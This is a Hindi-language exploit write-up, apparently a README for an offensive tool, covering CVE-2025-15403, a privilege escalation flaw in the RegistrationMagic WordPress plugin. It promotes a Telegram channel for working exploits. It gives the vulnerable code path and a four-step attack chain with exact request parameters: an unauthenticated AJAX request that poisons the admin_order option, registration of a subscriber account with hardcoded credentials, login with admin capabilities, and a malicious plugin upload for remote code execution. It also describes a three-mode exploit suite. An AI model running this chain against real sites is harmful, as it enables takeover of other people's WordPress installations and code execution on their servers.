
RegistrationMagic <= 6.0.7.1 - अनधिकृत विशेषाधिकार वृद्धि via admin_order
RegistrationMagic <= 6.0.7.1 – बिना प्रमाणीकरण के विशेषाधिकार वृद्धि (admin_order के माध्यम से)
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 खुफिया जानकारी सबसे पहले यहीं आती है। @KNxploited को टेलीग्राम पर फॉलो करें — सटीक CVE खुलासे, काम करने वाले एक्सप्लॉइट और गहन भेद्यता अनुसंधान। वह चैनल जो खबर का इंतज़ार नहीं करते — बल्कि वे खबर बनाते हैं।
CVE-2025-15403 WordPress के लिए RegistrationMagic प्लगइन में CVSS 9.8 क्रिटिकल विशेषाधिकार वृद्धि (Privilege Escalation) भेद्यता है।
दोष प्लगइन के add_menu फ़ंक्शन में मौजूद है, जो rm_user_exists AJAX एक्शन के माध्यम से बिना प्रमाणीकरण के उजागर होता है। enable_admin_order=yes फ़्लैग के साथ order पैरामीटर में एक खाली स्लग इंजेक्ट करके, एक हमलावर प्लगइन की आंतरिक मेनू निर्माण तर्क में हेरफेर करता है। जब एडमिन मेनू बाद में बनता है, तो प्लगइन चुपचाप लक्ष्य भूमिका पर `add_cap('manage_options')' को कॉल करता है — किसी भी सब्सक्राइबर-स्तरीय खाते को पूर्ण प्रशासनिक क्षमता प्रदान करता है।
| क्षेत्र | विवरण |
|---|---|
| CVE ID | CVE-2025-15403 |
| प्लगइन | RegistrationMagic |
| स्लग | registrationmagic / custom-registration-form-builder-with-submission-manager |
| प्रभावित संस्करण | संस्करण 6.0.7.1 तक सभी संस्करण |
| भेद्यता प्रकार | बिना प्रमाणीकरण के विशेषाधिकार वृद्धि |
| हमले की आवश्यकता | AJAX चरण: कोई नहीं। शोषण: सब्सक्राइबर खाता |
| हमला वेक्टर | नेटवर्क |
| CVSS 3.1 स्कोर | 9.8 क्रिटिकल |
| CVSS वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| प्रभाव | पूर्ण WordPress प्रशासक अधिग्रहण |
| शोधकर्ता | Nxploited |
मूल कारण यह है कि add_menu फ़ंक्शन rm_user_exists के माध्यम से बिना प्रमाणीकरण के पहुंच योग्य है, साथ ही admin_order स्लग पर शून्य सत्यापन है:
// बिना क्षमता जांच के पंजीकृत
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← उपयोगकर्ता-नियंत्रित, सैनिटाइज़ नहीं
$role_key = /* POST से व्युत्पन्न */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// हमलावर-नियंत्रित ऑर्डर को प्लगइन विकल्पों में संग्रहीत करता है
update_option('rm_admin_order', $order); // उदा. ",menu1" → खाली पहला स्लग
}
}
// बाद में, जब एडमिन मेनू बनाया जा रहा है...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← हमलावर द्वारा जहरीला किया गया
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// खाली स्लग बिना शर्त क्षमता प्रदान को ट्रिगर करता है
$role->add_cap('manage_options'); // ← पूर्ण एडमिन क्षमता जोड़ी गई
}
}
}
यह क्रिटिकल क्यों है:
wp_ajax_nopriv_* = विकल्प को जहरीला करने के लिए शून्य प्रमाणीकरण आवश्यकorder=,menu1 में खाली स्लग empty() जांच को पास करता है, `add_cap('manage_options')' को ट्रिगर करता हैmanage_options सबसे उच्च WordPress क्षमता है — प्रशासक (Administrator) के बराबर╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 1 — बिना प्रमाणीकरण के विकल्प विषाक्तीकरण ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← खाली पहला तत्व = खाली स्लग
_Subscriber = 1 ← लक्ष्य भूमिका कुंजी
restore = false
enable_admin_order= yes
प्रतिक्रिया: HTTP 200 (कोई भी गैर-अवरुद्ध प्रतिक्रिया = विकल्प विषाक्त)
↓ प्लगइन wp_options में order=",menu1" संग्रहीत करता है
↓ अगली एडमिन मेनू निर्माण सब्सक्राइबर भूमिका पर add_cap('manage_options') को ट्रिगर करता है
╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 2 — खाता अधिग्रहण (सब्सक्राइबर) ║
╚══════════════════════════════════════════════════════════════════════════╝
विकल्प A — साइट के पंजीकरण फ़ॉर्म (मोड 0) के माध्यम से पंजीकरण करें:
GET /wp-login.php?action=register → स्मार्ट फ़ॉर्म पहचान
POST → सब्सक्राइबर खाता बनाएं
क्रेडेंशियल्स: NXploited / xplpass123
विकल्प B — किसी मौजूदा सब्सक्राइबर खाते का उपयोग करें।
╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 3 — लॉगिन + क्षमता संग्रह ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
सब्सक्राइबर खाते में अब manage_options है → पूर्ण एडमिन पैनल सुलभ
╔══════════════════════════════════════════════════════════════════════════╗
║ चरण 4 — गहन सत्यापन और प्लगइन अपलोड के माध्यम से RCE ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → एडमिन डैशबोर्ड सुलभ ✔️
GET /wp-admin/plugin-install.php → प्लगइन इंस्टॉल पेज सुलभ ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → प्लगइन अपलोड और निष्पादित ✔️
GET /wp-content/plugins/Nxploited/hello.php
प्रतिक्रिया में "Nxploited" शामिल है → RCE की पुष्टि ✔️
यह शोषण सूट पूर्ण हमले के जीवनचक्र को कवर करने के लिए तीन अलग-अलग मोड प्रदान करता है:
| मोड | नाम | विवरण |
|---|---|---|
0 | केवल पंजीकरण | स्मार्ट WordPress फ़ॉर्म पहचान + सब्सक्राइबर खाता पंजीकरण |
1 | केवल शोषण | admin_order को जहरीला करने के लिए बिना प्रमाणीकरण के AJAX प्रिमिटिव को फायर करता है |
2 | शोषण + लॉगिन + सत्यापन | पूर्ण श्रृंखला: प्रिमिटिव → लॉगिन → एडमिन डैशबोर्ड → प्लगइन इंस्टॉल → RCE |